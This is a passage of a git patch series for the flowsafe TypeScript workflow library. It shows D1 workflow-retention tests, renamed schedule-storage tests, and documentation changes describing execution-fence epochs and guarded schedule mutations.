boolean; + reserved: boolean; + beforeOwner: { owner_id: string; reservation_token: string | null }; + purged: number; + advances: RetentionCursor[]; + admission: { + reason?: { code: string; classification: string }; + execution?: { startToken: string }; + }; + definitive: boolean; + owner: { kind: string; id: string } | null; + snapshots: Array<{ + workflow_name: string; + run_id: string; + snapshot: string; + }>; + }>(probe, `/retention-e/${order}`); + expect(outcome.claimed).toBe(true); + expect(outcome.reserved).toBe(true); + expect(outcome.beforeOwner).toEqual({ + owner_id: 'Resource owner', + reservation_token: null, + }); + expect(outcome.purged).toBe(1); + expect(outcome.advances.at(-1)).toEqual({ + version: 1, + tablePrefix: 'e_retention_', + }); + if (order === 'purge-first') { + expect(outcome.admission.reason).toEqual({ + code: 'RUN_ADMISSION_CONFLICT', + classification: 'run-owner-changed', + }); + expect(outcome.definitive).toBe(true); + expect(outcome.owner).toBeNull(); + expect(outcome.snapshots).toEqual([]); + } else { + expect(outcome.admission.execution?.startToken).toBe('new-generation'); + expect(outcome.definitive).toBe(false); + expect(outcome.owner).toEqual({ kind: 'human', id: 'Resource owner' }); + expect(outcome.snapshots).toHaveLength(1); + expect(outcome.snapshots[0]).toMatchObject({ + workflow_name: 'new-physical-workflow', + run_id: 'e-retention-reused', + }); + expect(JSON.parse(outcome.snapshots[0]?.snapshot ?? '{}')).toMatchObject({ + status: 'pending', + requestContext: { + 'flowsafe.runProvenance': { + startToken: 'new-generation', + startIdentity: { owner: { id: 'Initiating principal' } }, + }, + }, + }); + } + }); + + it('FS8 E retention preserves reserved owners and cross-workflow/malformed cross-namespace siblings', async () => { + const outcome = await result<{ + purged: number; + owners: Array>; + snapshots: Array>; + sibling: Array>; + }>(probe, '/retention-e/siblings'); + expect(outcome.purged).toBe(4); + expect(outcome.owners).toEqual([ + { + resource_id: 'e-retention-cross-workflow', + owner_id: 'Resource owner', + reservation_token: null, + }, + { + resource_id: 'e-retention-malformed-sibling', + owner_id: 'Resource owner', + reservation_token: null, + }, + { + resource_id: 'e-retention-reserved', + owner_id: 'Resource owner', + reservation_token: 'held-reservation', + }, + ]); + expect(outcome.snapshots).toEqual([ + { workflow_name: 'other-workflow', run_id: 'e-retention-cross-workflow' }, + ]); + expect(outcome.sibling).toEqual([ + { run_id: 'e-retention-malformed-sibling', snapshot: '{not-json' }, + ]); + }); + + it('FS8 E retention pairs full bound aliases while preserving mismatches, legacy, unbound and null namespaces', async () => { + const outcome = await result<{ + purged: number; + advances: RetentionCursor[]; + before: RetentionState; + after: RetentionState; + }>(probe, '/retention-e/bindings'); + expect(outcome.purged).toBe(1); + expect(outcome.after.snapshots).toEqual([]); + expect(outcome.after.owners).toEqual([]); + expect(outcome.after.keys).toEqual( + outcome.before.keys + .filter(({ key }) => key !== 'alias-expired') + .map((row) => + row.key === 'alias-started' + ? { ...row, state: 'terminal', updated_at: RETENTION_NOW } + : row, + ), + ); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + }); + + it.each([ + 0, 1, 2, + ])('FS8 E retention handles stage %i legacy orphans conservatively', async (stage) => { + const outcome = await result<{ + purged: number; + advances: RetentionCursor[]; + before: RetentionState['keys']; + keys: RetentionState['keys']; + }>(probe, `/retention-e/partial-${stage}`); + expect(outcome.purged).toBe(0); + expect(outcome.keys).toEqual( + outcome.before.filter(({ key }) => key !== 'legacy-orphan'), + ); + expect(outcome.keys.some(({ key }) => key === 'legacy-present')).toBe(true); + if (stage > 0) + expect(outcome.keys.some(({ key }) => key === 'partial-nonnull')).toBe( + true, + ); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + }); + + it('FS8 E retention expires an orphan without a configured snapshot table', async () => { + const outcome = await result<{ + purged: number; + advances: RetentionCursor[]; + keys: unknown[]; + }>(probe, '/retention-e/orphan-absent'); + expect(outcome.purged).toBe(0); + expect(outcome.keys).toEqual([]); + expect(outcome.advances.at(-1)).toEqual(RETENTION_SCOPE); + }); + + it('FS8 E retention rechecks held orphan generation observations before expiry', async () => { + const outcome = await result<{ + first: number; + second: number; + held: number; + heldKeys: RetentionState['keys']; + keys: unknown[]; + snapshot: { snapshot: string }; + }>(probe, '/retention-e/orphan-replacement'); + expect(outcome.first).toBe(0); + expect(outcome.held).toBe(1); + expect(outcome.heldKeys).toHaveLength(1); + expect(outcome.heldKeys[0]).toMatchObject({ + key: 'orphan-key', + state: 'terminal', + start_token: 'generation-one', + updated_at: RETENTION_NOW - 8 * 86400_000, + }); + expect(outcome.second).toBe(0); + expect(outcome.keys).toEqual([]); + expect(JSON.parse(outcome.snapshot.snapshot)).toMatchObject({ + status: 'running', + requestContext: { + 'flowsafe.runProvenance': { startToken: 'generation-two' }, + }, + }); + }); + + it('FS8 E retention enforces capsule bytes and UTF16 units while accepting long safe registry names', async () => { + const outcome = await result<{ + purged: number; + advances: RetentionCursor[]; + artifacts: string[]; + registryLength: number; + remainingKeyLengths: Array<{ length: number }>; + remaining: Array<{ run_id: string }>; + }>(probe, '/retention-e/limits'); + expect(outcome.registryLength).toBeGreaterThan(63); + expect(outcome.remainingKeyLengths).toEqual([{ length: 4096 }]); + expect(outcome.purged).toBe(2); + expect(outcome.artifacts.sort()).toEqual([ + 'e-retention-capsule-boundary', + 'e-retention-unpaired-legacy', + ]); + expect(outcome.remaining).toEqual([ + { run_id: 'e-retention-capsule-overflow' }, + { run_id: 'e-retention-utf16-overflow' }, + ]); + expect(outcome.advances.at(-1)?.snapshots).toBeUndefined(); + expect(outcome.advances.at(-1)?.reservations).toBeUndefined(); + }); + + it('FS8 E retention reconstructs finite progress beyond oversize and artifact failures despite new inserts', async () => { + const outcome = await result<{ + pages: Array<{ + purged?: number; + error?: string; + cursor: RetentionCursor; + }>; + artifactFailures: number; + afterFirstCycle: Array<{ run_id: string }>; + remainingEligible: unknown[]; + }>(probe, '/retention-e/progress'); + expect(outcome.pages.map(({ purged }) => purged)).toEqual([ + 0, + undefined, + 0, + 2, + ]); + expect(outcome.pages.map(({ error }) => error)).toEqual([ + undefined, + expect.stringMatching(/artifact deletion failed \(unreadable error\)/), + undefined, + undefined, + ]); + expect(outcome.pages[0]?.cursor.snapshots).toEqual({ + afterRowId: 90, + highWaterRowId: 93, + }); + expect(outcome.pages[1]?.cursor.snapshots).toBeUndefined(); + expect(outcome.pages[2]?.cursor.snapshots).toEqual({ + afterRowId: 90, + highWaterRowId: 94, + }); + expect(outcome.pages[3]?.cursor.snapshots).toBeUndefined(); + expect(outcome.artifactFailures).toBe(1); + expect(outcome.afterFirstCycle).toEqual([ + { run_id: 'e-retention-progress-91' }, + { run_id: 'e-retention-progress-new' }, + ]); + expect(outcome.remainingEligible).toEqual([]); + }); + + it.each([ + { mode: 'modern', retry: false }, + { mode: 'legacy', retry: false }, + { mode: 'modern', retry: true }, + ])('FS8 E retention measures real D1 maximum namespaces and $mode pages (retry $retry) with large payloads', async ({ + mode, + retry, + }) => { + try { + const setup = await result<{ + namespaces: number; + preexistingNamespaces: number; + createdNamespaces: number; + rows: number; + maxSnapshotBytes: number; + capsuleBytes: number | null; + ownerUtf16Units: number | null; + }>(probe, `/retention-e/maximum-${mode}/setup`); + expect(setup.namespaces).toBe(64); + expect(setup.preexistingNamespaces + setup.createdNamespaces).toBe(64); + expect(setup.rows).toBe(90); + expect(setup.maxSnapshotBytes).toBeGreaterThan(1_900_000); + if (mode === 'modern') { + expect(setup.capsuleBytes).toBe(4096); + expect(setup.ownerUtf16Units).toBe(200); + const overflow = await result<{ + error?: string; + artifacts: number; + advances: RetentionCursor[]; + before: unknown; + after: unknown; + }>(probe, '/retention-e/maximum-modern/overflow'); + expect(overflow.error).toMatch(/namespace|64/i); + expect(overflow.artifacts).toBe(0); + expect(overflow.advances).toEqual([]); + expect(overflow.after).toEqual(overflow.before); + } + const outcome = await result<{ + purged?: number; + error?: string; + artifacts: number; + advances: RetentionCursor[]; + metrics: RetentionMetrics; + elapsedMs: number; + snapshots: { count: number }; + census: { count: number }; + keys: Array<{ key: string; state: string; updated_at: number }>; + owners: Array<{ resource_id: string; owner_id: string }>; + }>( + probe, + `/retention-e/maximum-${mode}/${retry ? 'exercise-retry' : 'exercise'}`, + ); + console.info( + `FS8 E retention maximum-${mode}${retry ? '-retry' : ''} measurement`, + JSON.stringify({ + setup, + metrics: outcome.metrics, + elapsedMs: outcome.elapsedMs, + }), + ); + expect(outcome.error).toBeUndefined(); + expect(outcome.artifacts).toBe(retry ? 90 : 0); + expect(outcome.purged).toBe(90); + expect(outcome.snapshots.count).toBe(0); + expect(outcome.census.count).toBe(64); + expect(outcome.owners).toEqual([ + { + resource_id: 'e-retention-089'.padEnd(200, 'r'), + owner_id: 'Resource owner', + }, + ]); + expect(outcome.keys).toEqual( + mode === 'modern' + ? Array.from({ length: 90 }, (_, index) => ({ + key: `alias-${String(index).padStart(3, '0')}`, + state: 'terminal', + updated_at: RETENTION_NOW, + })) + : [], + ); + expect(outcome.advances.at(-1)?.snapshots).toBeUndefined(); + expect(outcome.advances.at(-1)?.reservations).toEqual( + mode === 'modern' ? { afterRowId: 90, highWaterRowId: 180 } : undefined, + ); + for (const value of Object.values(outcome.metrics)) + expect(Number.isFinite(value)).toBe(true); + expect(outcome.metrics.statements).toBeGreaterThan(90); + expect(outcome.metrics.statements).toBeLessThanOrEqual(1000); + expect(outcome.metrics.maxSqlBytes).toBeLessThanOrEqual(90_000); + expect(outcome.metrics.maxBindings).toBeLessThanOrEqual(100); + expect(outcome.metrics.maxSelectorBytes).toBeGreaterThan(0); + expect(outcome.metrics.maxSelectorBytes).toBeLessThanOrEqual(1_000_000); + expect(outcome.metrics.maxBoundStringBytes).toBeLessThanOrEqual( + 2_000_000, + ); + if (mode === 'modern') { + expect(outcome.metrics.maxResultBytes).toBeLessThan( + setup.maxSnapshotBytes, + ); + expect(outcome.metrics.maxSelectorBytes).toBeGreaterThan(90 * 4096); + } else { + expect(outcome.metrics.maxResultBytes).toBeGreaterThan( + setup.maxSnapshotBytes, + ); + expect(outcome.metrics.maxResultBytes).toBeLessThan( + setup.maxSnapshotBytes + 5000, + ); + } + } finally { + expect(await result(probe, '/retention-e/cleanup')).toEqual({ + remaining: [], + }); + } + }); }); From b74dcbe89cc02baaa6e4a003295ae0e40f7ec26f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 02:06:33 +0400 Subject: [PATCH 092/169] test(flowsafe): clarify retention fixtures and simplify interception --- packages/flowsafe/src/do-runner/d1-storage.test.ts | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/packages/flowsafe/src/do-runner/d1-storage.test.ts b/packages/flowsafe/src/do-runner/d1-storage.test.ts index e15e54de..05ce4187 100644 --- a/packages/flowsafe/src/do-runner/d1-storage.test.ts +++ b/packages/flowsafe/src/do-runner/d1-storage.test.ts @@ -2418,7 +2418,7 @@ function reservationRows( } describe('purgeExpiredWorkflowRuns — start reservations', () => { - it('deletes a spent reservation in the SAME batch as its run’s snapshot', async () => { + it('removes an expired snapshot and legacy reservation', async () => { const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2646,7 +2646,7 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => { expect(remainingRunIds(sqlite)).toEqual([]); }); - it('pairs reservations on the artifact path too', async () => { + it('removes an expired snapshot and legacy reservation with an artifact store', async () => { const sqlite = openSqlite(); createSnapshotTable(sqlite); createReservationTable(sqlite); @@ -2803,7 +2803,6 @@ function retentionIntercept( ): SnapshotStatement { return { ...statement, - bind: (...bound) => wrap(sql, statement.bind(...bound), bound), all: async () => { hooks.statement?.(sql, values); const result = await statement.all(); @@ -3960,7 +3959,7 @@ describe('run retention SQL boundaries', () => { ); }); - it('does not delete a case-changed physical address or raw legacy value', async () => { + it('preserves a snapshot when its workflow name changes case', async () => { const { sqlite, db, cycle } = retentionWorld(); retentionSnapshot(sqlite, 'run'); const intercepted = retentionIntercept(db, { From 1b9273390287fd4411498c96fa326bdfdc3a0e35 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 05:04:30 +0400 Subject: [PATCH 093/169] fix(flowsafe): guard schedule and initial run mutations with captured fence authority --- .changeset/sticky-fence-epochs.md | 4 +- docs/api-reference.md | 2 +- docs/do-runner-design.md | 8 +- docs/durable-agents.md | 8 + packages/agent-starter/README.md | 2 + .../test/execution-fence-composition.test.ts | 52 +- packages/flowsafe/README.md | 6 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 220 ++- .../flowsafe/src/do-runner/execution-fence.ts | 86 ++ .../src/do-runner/fenced-workflows-d1.test.ts | 171 ++- .../src/do-runner/fenced-workflows-d1.ts | 55 +- .../flowsafe/src/do-runner/runtime.test.ts | 204 +++ .../src/execution-entry-matrix.test.ts | 96 +- .../src/host-kit/flowsafe-worker.test.ts | 92 ++ packages/flowsafe/src/schedules/index.ts | 14 +- .../src/schedules/mutation-contract.ts | 73 + .../flowsafe/src/schedules/router.test.ts | 1185 +++++++++++++++-- packages/flowsafe/src/schedules/router.ts | 279 +++- .../src/schedules/schedules-d1.test.ts | 1040 ++++++++++++++- .../flowsafe/src/schedules/schedules-d1.ts | 1001 +++++++++++--- packages/flowsafe/src/schedules/storage.ts | 27 - .../flowsafe/test-support/harness-probe.ts | 1102 ++++++++++++++- scripts/flowsafe-harness.test.ts | 1001 +++++++++++++- 23 files changed, 6279 insertions(+), 449 deletions(-) create mode 100644 packages/flowsafe/src/schedules/mutation-contract.ts diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 112c1473..767f92d8 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -26,4 +26,6 @@ Make workflow retention generation-aware, protect run owners across supported sn Custom `purgeExpiredWorkflowRuns` callers must now provide transactional `database.batch()` and an `advanceCursor` callback, retain its exported `RunRetentionCursor`, and supply that cursor on the next call. Composed maintenance persists the cursor across alarms and restarts. Finite scan cycles revisit skipped candidates without letting continuous inserts extend the current cycle; unproved D1 outcomes and failed cursor writes do not advance progress. -Final schedule-write protection and accumulated workerd/D1 acceptance remain required before enabling artifact-epoch enforcement across a deployment. Administrative support and explicitly unfenced execution do not supply those guarantees. +Enforce captured caller epochs and semantic fence/schema observations in final D1 schedule mutations. Guard owned deletion participants independently, preserve admitted trigger settlement, and provide fixed pause/resume methods plus guarded no-op observations. Resume rejects a concurrent cron/timezone change. Fenced custom facades require the same-binding `FENCED_SCHEDULE_STORAGE` capability before activation; direct D1 authoring requires `batch()` and refuses omitted epochs once enforcement is active. Publish structured schedule conflict and unknown-outcome errors, retain server-side causes, and contain route audit failures without changing the selected response. + +Apply the shared final schema, singleton and typed semantic fence check to Runtime initial admission. Refuse unreadable authority before snapshot or dependent reservation/proof writes while preserving exact committed-write recovery. diff --git a/docs/api-reference.md b/docs/api-reference.md index e3f81993..90b2f5ce 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -47,7 +47,7 @@ New host-side and React features remain subpath-only so importing the root does | `@proofoftech/flowsafe/goals` | Objective HTTP router and goal request-context contract | | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, run/thread/hub/provider topologies, routes, approval bridges, tickets, composed Worker, and execution-fence and inventory admin routes | | `@proofoftech/flowsafe/host-kit/module` | Workflow-module interface for import-safe host registration | -| `@proofoftech/flowsafe/schedules` | D1 schedule domain, deployment router, reserved-context guard, and CAS tick | +| `@proofoftech/flowsafe/schedules` | D1 schedule domain, atomic mutation capability and outcomes, deployment router, reserved-context guard, and CAS tick | | `@proofoftech/flowsafe/signal-providers` | Provider adapters, host Durable Object, topology, subscriptions, verified webhooks, and GitHub provider | | `@proofoftech/flowsafe/signals` | D1 signal domains, thread routes, canonical content-policy seam, ingress router, notification dispatch, and client | | `@proofoftech/flowsafe/signals/client` | DOM-free `SignalClient` without host-side signal code | diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index ade2c4a5..4c7b00be 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -178,7 +178,11 @@ Flowsafe does not maintain a parallel custom workflow state object. A missing pre-0.20 table or empty five-column legacy table reads as optional `open`, with epoch and revision zero. Initialization seeds only that legacy shape, then adds mutation and proof metadata columns in order. Interrupted additive upgrades resume without changing the state, proof fields, or timestamp. A missing row once any metadata column exists is unreadable, never implicitly open or refilled. Readers allow one bounded re-observation when an empty legacy row read races a concurrent schema upgrade. Deleting the whole table or restoring an old-format backup is indistinguishable from genuine legacy absence. -Store reads are uncached and require an authoritative database binding, not an unconstrained read replica. Metadata versioning is administrative state, not a guarantee that every run or schedule writer enforces it. Activate the epoch requirement only after every writer supports final-write epoch checks; administrative support alone is insufficient. +Store reads are uncached and require an authoritative database binding. Upgrade the deployment's writers and configure their trusted artifact epoch before activating the requirement. Runtime initial admission and D1 schedule authoring enforce the original caller epoch in their final SQL. + +Schedule mutations compare the captured semantic fence frame and schema in the same transaction as their writes. Owned deletion independently guards its schedule, trigger and ownership changes; zero affected rows do not roll back a batch. Pausing and deleting retain their state policy while enforcing the active epoch. Guarded no-op observations preserve timestamps and reject stale callers. A resume compares the cron/timezone used to calculate its next fire, returning a conflict if that configuration changed. + +The schedules subpath exposes `FENCED_SCHEDULE_STORAGE` for custom facades using the configured fence's original database object. The capability is required before activation because activation can race a waiting request. Direct context-free D1 calls remain compatible while the requirement is optional. Ordinary reads and admitted trigger settlement do not acquire an external authoring epoch. See [schedule integration](durable-agents.md#add-schedules) for caller and outcome contracts. `recordProofRun(key, runId, admitted)` retains legacy metadata compatibility at the admitted epoch and revision. Two-argument calls work only while the requirement is optional, and neither form can overwrite or acknowledge a modern proof identity. Initial admission binds modern proof identity atomically. Replay nomination separately checks its original proof round and caller epoch against the current exact snapshot and bound reservation at the final SQL write. It preserves the administrative revision, receipt and existing nomination timestamp. @@ -247,7 +251,7 @@ Runtime derives physical execution identity and a root-local summary from one st The fenced Runtime calls `withInitialAdmission(admission, () => workflow.createRun(...))` around initial Core creation only. Advanced trusted callers use the same boundary with a server-generated generation token, original caller epoch/proof observation and coherent v2 context. A keyed call requires its own successful modern-unbound started claim. Both callbacks are invoked as plain functions; use a closure or bound function when you need a receiver. -The initial conditional INSERT atomically chains its winning reservation and proof bindings. Only a positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness. +The initial conditional INSERT checks the captured fence schema, singleton and typed semantic frame, then atomically chains its winning reservation and proof bindings. A positive exact witness permits the caller to invoke the returned Run’s `start()` after the scope ends. A fence change after that commit does not revoke the admission. Suppressed pending persistence, a cached/existing Run, or another domain’s write does not supply that witness. Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Recovery checks the full authoritative row and its execution identity. diff --git a/docs/durable-agents.md b/docs/durable-agents.md index 887f9163..a3dedebb 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -298,6 +298,14 @@ The router writes through Mastra's objective helpers into the goal lane of `mast Create a `D1SchedulesStorage`, expose `createScheduleRouter()`, and pass `createScheduleTick()` to the maintenance singleton with a dedicated tick interval. +Use the same database object for the schedule store and its `ExecutionFenceStore`. A fenced custom facade must advertise `FENCED_SCHEDULE_STORAGE` before serving requests, including before epoch activation. `D1SchedulesStorage` and `createScheduleStorageDomains()` provide that capability. An explicit `executionFence: 'none'` supports a custom facade without the atomic storage contract. + +Supply the artifact epoch through trusted resolver configuration or the composed Worker's `mutationEpoch` option. The router retains that authenticated value through asynchronous work. Direct D1 authoring methods accept a trailing `MutationEpochContext` and require transactional `batch()`. Context-free calls through Core refuse once the epoch requirement is active. Request bodies and external headers cannot supply this authority. + +Create, update and resume require an open fence. Pause and delete retain their state allowance but require the current epoch after activation. The router checks the epoch even when the requested pause/resume status matches the row. Direct `pauseSchedule` accepts no patch; `resumeSchedule` takes the observed cron/timezone with the computed next fire and rejects a concurrent configuration change. Admitted trigger settlement can finish a pending deletion after the fence changes. + +`SCHEDULE_MUTATION_CONFLICT` is a 409 for a changed fence frame or resume configuration. `SCHEDULE_MUTATION_OUTCOME_UNKNOWN` is a 503 when the write cannot be confirmed; it can follow a committed write and supplies no rollback authority. A later matching row is not an invocation receipt. See the [API reference](api-reference.md#flowsafe-subpath-exports) for the schedules entry. + The router: - mints schedule ids server-side; diff --git a/packages/agent-starter/README.md b/packages/agent-starter/README.md index 3ce9b5a7..955c8a6f 100644 --- a/packages/agent-starter/README.md +++ b/packages/agent-starter/README.md @@ -272,6 +272,8 @@ The route verifies `X-Hub-Signature-256` over raw bytes before parsing or subscr ## Schedules and unattended work +Schedule routes use the composed Worker's captured artifact epoch and the concrete D1 store's `FENCED_SCHEDULE_STORAGE` capability on the same database. After activation, missing, stale and future epochs refuse mutations, including pause/delete and already-matching pause/resume requests. Configure the epoch through the trusted host configuration; request data cannot supply it. Admitted trigger settlement can finish a pending deletion after an epoch change. + The one-minute tick claims due schedules with D1 CAS, starts generic workflows or the same runtime-driven thread agent, and dispatches due notifications through the owning thread Durable Object. Agent schedules must name `agentId: "anchorage-agent"`. A threaded schedule uses a `threadId` and `resourceId` returned by the start route. Stored request context cannot contain Breakwater grant keys or runtime-reserved keys. Every fire gets a fresh opaque run id. diff --git a/packages/agent-starter/test/execution-fence-composition.test.ts b/packages/agent-starter/test/execution-fence-composition.test.ts index b20d4bf1..d5c03134 100644 --- a/packages/agent-starter/test/execution-fence-composition.test.ts +++ b/packages/agent-starter/test/execution-fence-composition.test.ts @@ -1,14 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// The composition proof the unit tests cannot make. flowsafe pins what a fenced -// tick DOES; this pins that THIS HOST wired one — the failure the required -// `executionFence` option exists to prevent is a deployment where the runtime is -// fenced and the tick is not, and every flowsafe test would still pass. -// -// The loss is silent and total: an unfenced tick claims a due fire through the -// schedules CAS, which advances `nextFireAt`, and the fenced runtime then -// refuses the start. The fire is consumed and never runs, and nothing reports -// it — which is why the assertion below is on the schedule ROW, not on the -// tally the pass returned. import type { WorkflowRunState } from '@mastra/core/workflows'; import { humanPrincipal } from '@proofoftech/flowsafe/approval-api'; @@ -18,11 +8,15 @@ import { StartIdempotencyStore, } from '@proofoftech/flowsafe/do-runner'; import { approvalStoreFactoryFor } from '@proofoftech/flowsafe/host-kit'; +import { + D1SchedulesStorage, + FENCED_SCHEDULE_STORAGE, +} from '@proofoftech/flowsafe/schedules'; import { describe, expect, it } from 'vitest'; import { starterMaintenanceTick } from '../src/maintenance.js'; import { contextForPrincipal } from '../src/principal-context.js'; -import { schedulesStore } from '../src/storage.js'; +import { createComposedStorage, schedulesStore } from '../src/storage.js'; interface SqliteStatement { get(...params: unknown[]): unknown; @@ -55,12 +49,14 @@ function sqliteUnitDatabase(db: SqliteDatabase): unknown { function statement(sql: string, params: unknown[]): Record { const execute = () => { - const outcome = db.prepare(sql).run(...params) as { - changes?: number | bigint; + const results = db.prepare(sql).all(...params); + const outcome = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; }; return { success: true, - meta: { changes: Number(outcome?.changes ?? 0) }, + results, + meta: { changes: Number(outcome.count) }, }; }; return { @@ -139,15 +135,24 @@ function starterEnv(db: Env['DB']): Env { } describe('starter maintenance tick and the deployment execution fence', () => { + it('uses the original database for direct and composed schedule capabilities', async () => { + const db = sqliteUnitDatabase(openSqlite()) as Env['DB']; + const direct = schedulesStore(db); + expect(direct[FENCED_SCHEDULE_STORAGE]?.database).toBe(db); + const storage = createComposedStorage(db); + await storage.init(); + const domain = await storage.getStore('schedules'); + expect(domain).toBeInstanceOf(D1SchedulesStorage); + if (!(domain instanceof D1SchedulesStorage)) + throw new Error('composed schedule domain is missing'); + expect(domain[FENCED_SCHEDULE_STORAGE]?.database).toBe(db); + }); + it('leaves a due schedule row untouched while the deployment is migration-locked', async () => { - // #given — this host's own tick over a database whose fence is locked. The - // fence store is built from the SAME binding the tick's own - // `executionFence(env.DB)` resolves, which is the wiring under test: a tick - // pointed at another database would read `open` here and claim. const db = sqliteUnitDatabase(openSqlite()) as Env['DB']; const env = starterEnv(db); const fence = new ExecutionFenceStore(db); - await fence.seed('migration-locked'); + await fence.seed('open'); const store = schedulesStore(db); const due = { @@ -165,14 +170,15 @@ describe('starter maintenance tick and the deployment execution fence', () => { metadata: {}, }; await store.createSchedule(due); + await fence.transition({ expected: 'open', next: 'draining' }); + await fence.transition({ + expected: 'draining', + next: 'migration-locked', + }); const before = await store.getSchedule(due.id); - // #when — the cron duty runs, exactly as the maintenance Durable Object - // invokes it. await starterMaintenanceTick(env)(); - // #then — the row is byte-identical. Nothing was claimed, so the fire is - // still due and the deployment taking over will run it. await expect(store.getSchedule(due.id)).resolves.toEqual(before); await expect(store.listDueSchedules(NOW, 10)).resolves.toHaveLength(1); await expect(store.listTriggers(due.id)).resolves.toEqual([]); diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index fc56af1f..81bdcb56 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -304,11 +304,13 @@ One Flowsafe deployment is one tenant, so the execution fence controls the compl Provisioning requires `--initial-fence-state open` or `--initial-fence-state migration-locked`; it never chooses a default. An absent pre-0.20 table or empty five-column legacy table reads as optional `open`. Initialization adds epoch/revision metadata without reopening existing state. A missing row once any metadata column exists is unreadable and is never silently refilled. For locked-at-birth provisioning, read `GET /admin/execution-fence` afterward and fail unless it reports `migration-locked`. -Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. These fields describe administrative state only: activate the requirement only after every run and schedule writer supports final-write epoch checks. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts. +Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. Upgrade the deployment's writers and configure their trusted artifact epoch before activation. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts. The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix. -New reservations are unbound until an exact winning claim or an observed result binds their physical execution. Runtime generates a separate execution token for each new run generation, and proof-only re-entry compares its namespace, workflow, run and generation. Stored `proofExecution` stays server-side and is omitted from admin JSON. Final schedule-write protection and generation-aware retention acceptance are still required before enabling artifact-epoch enforcement across the deployment. +New reservations are unbound until an exact winning claim or an observed result binds their physical execution. Runtime generates a separate execution token for each new run generation, and proof-only re-entry compares its namespace, workflow, run and generation. Stored `proofExecution` stays server-side and is omitted from admin JSON. + +D1 schedule mutations enforce the captured caller epoch at their final SQL boundary. A fenced custom facade must provide `FENCED_SCHEDULE_STORAGE` on the same database as its configured fence. Direct D1 methods require `batch()` and accept a trailing `MutationEpochContext`; omission refuses after activation. Pause/delete and HTTP no-ops retain epoch checks. Use the [schedule guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#add-schedules) for fixed pause/resume methods, custom facade compatibility and uncertain-write outcomes. With a configured fence, Runtime requires the actual D1 domain's positive initial-write witness before engine entry. Without a fence, capable D1 keeps its real namespace and ordinary persistence behavior; custom storage explicitly asserts no D1 namespace. Managed hosts persist preparation journals and require a matching nonpending durable outcome before acknowledging execution. A valid pending generation returns `RUN_START_PENDING` with status 503; keyed retries use the idempotent-start refusal contract. See the [runner design](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#execution-fence-and-start-reservations) for exact claims, replay and recovery. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 0db292e4..eafcb08d 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -274,6 +274,7 @@ import { type DurableObjectRunLifecycleHooks, type ExecutionFenceState, type ExecutionFenceWiring, + type MutationEpochContext, type RunTerminalErrorEnvelope, type RunRetentionCursor, type RunRetentionScanPosition, @@ -314,6 +315,24 @@ import type { BackgroundTaskHost, BackgroundTaskReads, } from '@proofoftech/flowsafe/background-tasks'; +import { + createScheduleRouter, + createScheduleStorageDomains, + D1SchedulesStorage, + FENCED_SCHEDULE_STORAGE, + ScheduleMutationConflictError, + ScheduleMutationOutcomeUnknownError, + type AuthorizedSchedule, + type FencedScheduleMutationCapability, + type Schedule, + type ScheduleDatabase, + type ScheduleFacadeStore, + type ScheduleResumeMutation, + type ScheduleRouter, + type ScheduleRouterOptions, +} from '@proofoftech/flowsafe/schedules'; +// @ts-expect-error internal context capture is not a schedules export +import type { captureActorContext as ScheduleCapture } from '@proofoftech/flowsafe/schedules'; const automation: AgentAutomationRule = { kind: 'system', @@ -403,6 +422,77 @@ if (capability) { // @ts-expect-error callers cannot supply a replacement snapshot void capability.terminalizeInitialAdmission({ ...terminalRequest, failedSnapshot: {} }); } +declare const scheduleDatabase: ScheduleDatabase; +declare const scheduleRow: Schedule; +declare const authorizedSchedule: AuthorizedSchedule; +declare 